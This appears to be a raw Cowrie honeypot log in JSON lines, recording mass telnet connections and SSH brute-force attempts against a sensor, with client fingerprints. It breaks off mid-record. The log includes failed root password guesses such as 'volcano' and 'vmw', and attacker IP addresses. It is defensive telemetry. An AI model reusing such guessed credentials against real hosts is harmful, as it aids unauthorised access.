{"eventid":"cowrie.login.failed","username":"root","password":"volcano","message":"login attempt [root/volcano] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:22.127933Z","src_ip":"213.209.159.158","session":"787554a671bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":49546,"dst_ip":"159.203.135.109","dst_port":23,"session":"59589d632479","protocol":"telnet","message":"New connection: 162.55.233.176:49546 (159.203.135.109:23) [session: 59589d632479]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:22.326894Z"}
{"eventid":"cowrie.session.closed","duration":43.084821462631226,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:22.372033Z","src_ip":"162.55.233.176","session":"7d9c642c43ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":49556,"dst_ip":"159.203.135.109","dst_port":23,"session":"38a9ee77b3fc","protocol":"telnet","message":"New connection: 162.55.233.176:49556 (159.203.135.109:23) [session: 38a9ee77b3fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:22.414839Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":49564,"dst_ip":"159.203.135.109","dst_port":23,"session":"4827dace274c","protocol":"telnet","message":"New connection: 162.55.233.176:49564 (159.203.135.109:23) [session: 4827dace274c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:22.422616Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":49580,"dst_ip":"159.203.135.109","dst_port":23,"session":"6278c0a36d0f","protocol":"telnet","message":"New connection: 162.55.233.176:49580 (159.203.135.109:23) [session: 6278c0a36d0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:22.545998Z"}
{"eventid":"cowrie.session.closed","duration":31.037830352783203,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:22.732138Z","src_ip":"162.55.233.176","session":"94b19a708a68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44364,"dst_ip":"159.203.135.109","dst_port":23,"session":"56ec3a413eb5","protocol":"telnet","message":"New connection: 162.55.233.176:44364 (159.203.135.109:23) [session: 56ec3a413eb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:23.161380Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44370,"dst_ip":"159.203.135.109","dst_port":23,"session":"57ff93eb82b0","protocol":"telnet","message":"New connection: 162.55.233.176:44370 (159.203.135.109:23) [session: 57ff93eb82b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:23.615417Z"}
{"eventid":"cowrie.session.closed","duration":31.415950059890747,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:23.661995Z","src_ip":"162.55.233.176","session":"bbd55bffbb57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44374,"dst_ip":"159.203.135.109","dst_port":23,"session":"c26c2ad73dc6","protocol":"telnet","message":"New connection: 162.55.233.176:44374 (159.203.135.109:23) [session: c26c2ad73dc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:23.900393Z"}
{"eventid":"cowrie.session.closed","duration":30.63917851448059,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:24.406538Z","src_ip":"162.55.233.176","session":"a8276b8df7cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44386,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d6d0563ef5a","protocol":"telnet","message":"New connection: 162.55.233.176:44386 (159.203.135.109:23) [session: 8d6d0563ef5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:24.521397Z"}
{"eventid":"cowrie.session.closed","duration":31.059200763702393,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:24.923901Z","src_ip":"162.55.233.176","session":"dcafa0279c0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44402,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2562a6e1bcb","protocol":"telnet","message":"New connection: 162.55.233.176:44402 (159.203.135.109:23) [session: b2562a6e1bcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:25.230422Z"}
{"eventid":"cowrie.session.closed","duration":"13.5","message":"Connection lost after 13.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:25.501383Z","src_ip":"213.209.159.158","session":"787554a671bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":21326,"dst_ip":"10.17.0.5","dst_port":22,"session":"35adc7e6ae59","protocol":"ssh","message":"New connection: 213.209.159.158:21326 (10.17.0.5:22) [session: 35adc7e6ae59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:25.580934Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44414,"dst_ip":"159.203.135.109","dst_port":23,"session":"6affa4371532","protocol":"telnet","message":"New connection: 162.55.233.176:44414 (159.203.135.109:23) [session: 6affa4371532]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:25.681371Z"}
{"eventid":"cowrie.session.closed","duration":32.17303442955017,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:26.009880Z","src_ip":"162.55.233.176","session":"a01526cb01e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44418,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1af54b3e3d5","protocol":"telnet","message":"New connection: 162.55.233.176:44418 (159.203.135.109:23) [session: e1af54b3e3d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:26.962559Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44430,"dst_ip":"159.203.135.109","dst_port":23,"session":"2545dae4f0bf","protocol":"telnet","message":"New connection: 162.55.233.176:44430 (159.203.135.109:23) [session: 2545dae4f0bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:27.114558Z"}
{"eventid":"cowrie.session.closed","duration":34.076881408691406,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:27.177296Z","src_ip":"162.55.233.176","session":"652d84aee7ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44446,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a70564d887c","protocol":"telnet","message":"New connection: 162.55.233.176:44446 (159.203.135.109:23) [session: 9a70564d887c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:27.279589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:27.625751Z","src_ip":"213.209.159.158","session":"35adc7e6ae59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:27.629083Z","src_ip":"213.209.159.158","session":"35adc7e6ae59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44456,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc3e33115254","protocol":"telnet","message":"New connection: 162.55.233.176:44456 (159.203.135.109:23) [session: fc3e33115254]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:27.827242Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44470,"dst_ip":"159.203.135.109","dst_port":23,"session":"33fb58599290","protocol":"telnet","message":"New connection: 162.55.233.176:44470 (159.203.135.109:23) [session: 33fb58599290]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:27.924926Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44482,"dst_ip":"159.203.135.109","dst_port":23,"session":"13ac6fdff797","protocol":"telnet","message":"New connection: 162.55.233.176:44482 (159.203.135.109:23) [session: 13ac6fdff797]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:28.262142Z"}
{"eventid":"cowrie.session.closed","duration":31.076335668563843,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:28.266515Z","src_ip":"162.55.233.176","session":"f66a156a146d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44492,"dst_ip":"159.203.135.109","dst_port":23,"session":"871a2e408703","protocol":"telnet","message":"New connection: 162.55.233.176:44492 (159.203.135.109:23) [session: 871a2e408703]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:28.474311Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44496,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1853fde2b31","protocol":"telnet","message":"New connection: 162.55.233.176:44496 (159.203.135.109:23) [session: b1853fde2b31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:28.630158Z"}
{"eventid":"cowrie.session.closed","duration":30.56308937072754,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:29.109407Z","src_ip":"162.55.233.176","session":"34c9fab63204","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44520,"dst_ip":"159.203.135.109","dst_port":23,"session":"f47210cb6e61","protocol":"telnet","message":"New connection: 162.55.233.176:44520 (159.203.135.109:23) [session: f47210cb6e61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:29.143007Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44532,"dst_ip":"159.203.135.109","dst_port":23,"session":"35c3d7bee3b2","protocol":"telnet","message":"New connection: 162.55.233.176:44532 (159.203.135.109:23) [session: 35c3d7bee3b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:29.234162Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44534,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed815e451803","protocol":"telnet","message":"New connection: 162.55.233.176:44534 (159.203.135.109:23) [session: ed815e451803]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:29.267136Z"}
{"eventid":"cowrie.session.closed","duration":41.79530692100525,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:29.410559Z","src_ip":"188.208.141.113","session":"c77f4abea579","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44536,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c0782b75994","protocol":"telnet","message":"New connection: 162.55.233.176:44536 (159.203.135.109:23) [session: 6c0782b75994]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:29.430542Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44548,"dst_ip":"159.203.135.109","dst_port":23,"session":"65fabd9710e6","protocol":"telnet","message":"New connection: 162.55.233.176:44548 (159.203.135.109:23) [session: 65fabd9710e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:29.654737Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44510,"dst_ip":"159.203.135.109","dst_port":23,"session":"661bd6eaff02","protocol":"telnet","message":"New connection: 162.55.233.176:44510 (159.203.135.109:23) [session: 661bd6eaff02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:29.772772Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44552,"dst_ip":"159.203.135.109","dst_port":23,"session":"41ab44dfd75d","protocol":"telnet","message":"New connection: 162.55.233.176:44552 (159.203.135.109:23) [session: 41ab44dfd75d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:29.980241Z"}
{"eventid":"cowrie.session.closed","duration":31.432518005371094,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:30.666898Z","src_ip":"162.55.233.176","session":"81c9f08f7539","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44576,"dst_ip":"159.203.135.109","dst_port":23,"session":"626176ac9e04","protocol":"telnet","message":"New connection: 162.55.233.176:44576 (159.203.135.109:23) [session: 626176ac9e04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:31.384847Z"}
{"eventid":"cowrie.session.closed","duration":31.520023584365845,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:31.404017Z","src_ip":"162.55.233.176","session":"62044bb46aaf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44582,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0281442d8f0","protocol":"telnet","message":"New connection: 162.55.233.176:44582 (159.203.135.109:23) [session: c0281442d8f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:31.439338Z"}
{"eventid":"cowrie.session.closed","duration":35.03807067871094,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:31.580384Z","src_ip":"162.55.233.176","session":"1c49589c5650","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44592,"dst_ip":"159.203.135.109","dst_port":23,"session":"265fab160cdb","protocol":"telnet","message":"New connection: 162.55.233.176:44592 (159.203.135.109:23) [session: 265fab160cdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:31.705518Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44560,"dst_ip":"159.203.135.109","dst_port":23,"session":"45d5b00ce7af","protocol":"telnet","message":"New connection: 162.55.233.176:44560 (159.203.135.109:23) [session: 45d5b00ce7af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:31.830929Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44594,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f21bcd386e9","protocol":"telnet","message":"New connection: 162.55.233.176:44594 (159.203.135.109:23) [session: 8f21bcd386e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:31.838455Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44598,"dst_ip":"159.203.135.109","dst_port":23,"session":"417f0a8e132f","protocol":"telnet","message":"New connection: 162.55.233.176:44598 (159.203.135.109:23) [session: 417f0a8e132f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:32.171449Z"}
{"eventid":"cowrie.session.closed","duration":52.08771371841431,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:32.440213Z","src_ip":"188.208.141.113","session":"2c6f9543e8e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44612,"dst_ip":"159.203.135.109","dst_port":23,"session":"8456c3d7584f","protocol":"telnet","message":"New connection: 162.55.233.176:44612 (159.203.135.109:23) [session: 8456c3d7584f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:32.689997Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44624,"dst_ip":"159.203.135.109","dst_port":23,"session":"28963cf0cc1f","protocol":"telnet","message":"New connection: 162.55.233.176:44624 (159.203.135.109:23) [session: 28963cf0cc1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:32.785885Z"}
{"eventid":"cowrie.session.closed","duration":32.42965269088745,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:32.998497Z","src_ip":"162.55.233.176","session":"053f90198140","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34996,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ba8a125e078","protocol":"telnet","message":"New connection: 162.55.233.176:34996 (159.203.135.109:23) [session: 2ba8a125e078]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:33.046750Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35000,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca4b29f34bdb","protocol":"telnet","message":"New connection: 162.55.233.176:35000 (159.203.135.109:23) [session: ca4b29f34bdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:33.225769Z"}
{"eventid":"cowrie.session.closed","duration":32.53273415565491,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:33.558273Z","src_ip":"162.55.233.176","session":"226f3904b1c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35002,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2e9b73a67f8","protocol":"telnet","message":"New connection: 162.55.233.176:35002 (159.203.135.109:23) [session: d2e9b73a67f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:33.697984Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35012,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9f2577d4dc7","protocol":"telnet","message":"New connection: 162.55.233.176:35012 (159.203.135.109:23) [session: c9f2577d4dc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:34.929563Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35022,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f015c4c4c57","protocol":"telnet","message":"New connection: 162.55.233.176:35022 (159.203.135.109:23) [session: 5f015c4c4c57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:35.369095Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43838,"dst_ip":"10.17.0.5","dst_port":23,"session":"6fb47b40efd0","protocol":"telnet","message":"New connection: 188.208.141.113:43838 (10.17.0.5:23) [session: 6fb47b40efd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:35.400352Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"vmw","message":"login attempt [root/vmw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:35.571517Z","src_ip":"213.209.159.158","session":"35adc7e6ae59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.681126356124878,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:35.582924Z","src_ip":"162.55.233.176","session":"8820b8915722","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.00061869621277,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:35.887977Z","src_ip":"162.55.233.176","session":"ab7ca1aad286","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35026,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc49b8c402fe","protocol":"telnet","message":"New connection: 162.55.233.176:35026 (159.203.135.109:23) [session: bc49b8c402fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:36.266790Z"}
{"eventid":"cowrie.session.closed","duration":30.68201184272766,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:36.582964Z","src_ip":"162.55.233.176","session":"a42f1bb8029d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35042,"dst_ip":"159.203.135.109","dst_port":23,"session":"3be23e9510a3","protocol":"telnet","message":"New connection: 162.55.233.176:35042 (159.203.135.109:23) [session: 3be23e9510a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:36.879786Z"}
{"eventid":"cowrie.session.closed","duration":31.97102427482605,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:36.967458Z","src_ip":"162.55.233.176","session":"71f1dc2cb8b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.137.11.14","src_port":6921,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9f629cdde15","protocol":"ssh","message":"New connection: 38.137.11.14:6921 (10.17.0.5:22) [session: a9f629cdde15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:37.366268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:37.369130Z","src_ip":"38.137.11.14","session":"a9f629cdde15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.64745831489563,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:37.389151Z","src_ip":"162.55.233.176","session":"a920353aefb7","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 